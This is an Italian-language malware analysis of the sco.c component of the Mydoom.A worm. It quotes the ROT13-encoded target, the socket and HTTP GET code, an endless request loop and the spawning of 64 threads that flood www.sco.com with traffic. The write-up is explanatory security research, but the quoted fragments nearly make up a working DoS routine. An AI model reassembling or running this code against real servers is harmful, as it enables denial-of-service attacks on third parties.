

Analisi tecnica del file sco.c

Win32.Mydoom.a

1. Introduzione

Il file sco.c implementa una componente di tipo **Denial of Service (DoS)** indirizzata esplicitamente verso `www.sco.com`.

L'analisi del codice sorgente mostra che il malware individua il dominio tramite DNS, utilizza connessioni TCP sulla porta 80, costruisce richieste HTTP GET ripetute e crea complessivamente 64 attività concorrenti. La componente è collegata al flusso principale analizzato in `main.c`, dove `payload_sco()` richiama `scodos_main()` dopo il controllo della data di attivazione.

2. Identificazione del bersaglio

```
#define SCO_SITE_ROT13 "jjj.fpb.pbz" /* www.sco.com */
#define SCO_PORT 80
#define SCODOS_THREADS 64
```

La stringa relativa al sito è codificata tramite ROT13. La decodifica di `jjj.fpb.pbz` produce `www.sco.com`. La porta utilizzata è TCP/80, mentre `SCODOS_THREADS` definisce 64 worker concorrenti.

3. Creazione della connessione TCP

```
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

i = 1;
ioctlsocket(s, FIONBIO, &i);
```

Il malware crea un socket IPv4 TCP e lo imposta in modalità non bloccante. La funzione `connect_tv()` utilizza inoltre `select()` per gestire il completamento della connessione entro il timeout fornito dal chiamante. In `scodos_th()` il valore passato è 8, quindi il timeout è impostato a 8 secondi.

4. Costruzione della richiesta HTTP

```
rot13(buf,
"TRG / UGGC/1.1\r\n"
"Ubfq: " SCO_SITE_ROT13 "\r\n"
"\r\n");
```

Dopo la decodifica ROT13, la richiesta inviata è:

```
GET / HTTP/1.1
Host: www.sco.com
```

Questo costituisce un'evidenza diretta del comportamento: il sorgente contiene esplicitamente la richiesta HTTP destinata al server bersaglio.

5. Ciclo di attacco

```
for (;;) {
    sock = connect_tv(&addr, 8);

    if (sock != 0) {
        send(sock, buf, strlen(buf), 0);
        Sleep(300);
        closesocket(sock);
    }
}
```

Il ciclo è infinito. Per ogni iterazione il malware tenta una connessione TCP; se riesce, invia la richiesta HTTP, attende 300 millisecondi, chiude la connessione e ricomincia. Non è presente una condizione di uscita normale.

all'interno di questo ciclo.

6. Utilizzo di 64 thread

```
for (i=1; i<SCODOS_THREADS; i++)
    CreateThread(0, 0, scodos_th, (LPVOID)&addr, 0, &tid);

scodos_th(&addr);
```

Poiché SCODOS_THREADS = 64, il ciclo crea 63 thread aggiuntivi. Il thread corrente esegue poi direttamente scodos_th(). Il risultato è quindi di 64 attività concorrenti.

7. Risoluzione del dominio

```
rot13(buf, SCO_SITE_ROT13);

while (is_online() == 0)
    Sleep(32768);

h = gethostbyname(buf);
```

Prima dell'attacco viene verificata la connettività. Il dominio viene quindi risolto tramite gethostbyname(). Il codice prepara una destinazione IPv4 sulla porta 80 utilizzando l'indirizzo ottenuto dal DNS.

8. Priorità dei thread

```
SetThreadPriority(
    GetCurrentThread(),
    THREAD_PRIORITY_BELOW_NORMAL
);
```

Ogni worker imposta la propria priorità a THREAD_PRIORITY_BELOW_NORMAL. Questo modifica la priorità di scheduling del thread, ma non interrompe il ciclo di generazione del traffico.

9. Collegamento con main.c

Nel flusso principale analizzato precedentemente, payload_sco() richiama scodos_main() dopo il controllo temporale associato a sco_date. Il valore analizzato in main.c era sco_date = {2004, 2, 0, 1, 16, 9, 18}. La componente SCO è quindi integrata nel comportamento temporale del malware e non rappresenta una funzione isolata.

10. Flusso complessivo

Fase	Comportamento
1	Avvio del payload SCO
2	Controllo della connettività
3	Risoluzione DNS di www.sco.com
4	Preparazione della destinazione TCP/80
5	Creazione di 63 thread aggiuntivi
6	Esecuzione del worker anche nel thread corrente
7	Totale: 64 worker
8	Connessione TCP → HTTP GET / → attesa 300 ms → chiusura
9	Ripetizione continua

11. Valutazione della componente

L'analisi statica identifica `sco.c` come una componente offensiva del worm. Il sorgente mostra direttamente una destinazione esterna specifica, la generazione di traffico TCP/HTTP ripetitivo, l'uso di 64 worker concorrenti e un ciclo senza terminazione normale. Questi elementi sono coerenti con una componente DoS/DDoS.

Precisazione metodologica: il codice dimostra la capacità e l'intento di generare traffico ripetuto verso il bersaglio; l'effettivo impatto sull'infrastruttura remota dipende dalle condizioni di rete e dalla risposta del server.

12. Conclusione

La componente `sco.c` di `Win32.Mydoom.a` implementa un attacco DoS verso `www.sco.com`. Il malware risolve il dominio tramite DNS, stabilisce connessioni TCP sulla porta 80 e invia ripetutamente una richiesta HTTP GET / HTTP/1.1. La funzione `scodos_main()` crea 63 thread aggiuntivi e utilizza anche il thread chiamante, ottenendo 64 worker concorrenti.

L'analisi di `sco.c` conferma quindi che `Mydoom.A` non è soltanto un worm di propagazione tramite e-mail e P2P, ma include anche un payload destinato a generare traffico contro un bersaglio specifico.

13. Evidenze principali

Evidenza	Risultato
SCO_SITE_ROT13	www.sco.com
SCO_PORT	TCP/80
SCODOS_THREADS	64
Protocollo	TCP + HTTP
Richiesta	GET / HTTP/1.1
Risoluzione	DNS tramite <code>gethostbyname()</code>
Concorrenza	63 thread + thread corrente
Ripetizione	Ciclo infinito
Pausa	300 ms dopo una connessione riuscita
Funzione principale	<code>scodos_main()</code>
Worker	<code>scodos_th()</code>
Finalità	DoS/DDoS verso il target definito nel codice

Base dell'analisi: codice sorgente fornito nel file `Win32.Mydoom.a`, in particolare `sco.c`, e collegamenti già analizzati in `main.c`. Le conclusioni tecniche principali sono ricavate direttamente dal sorgente.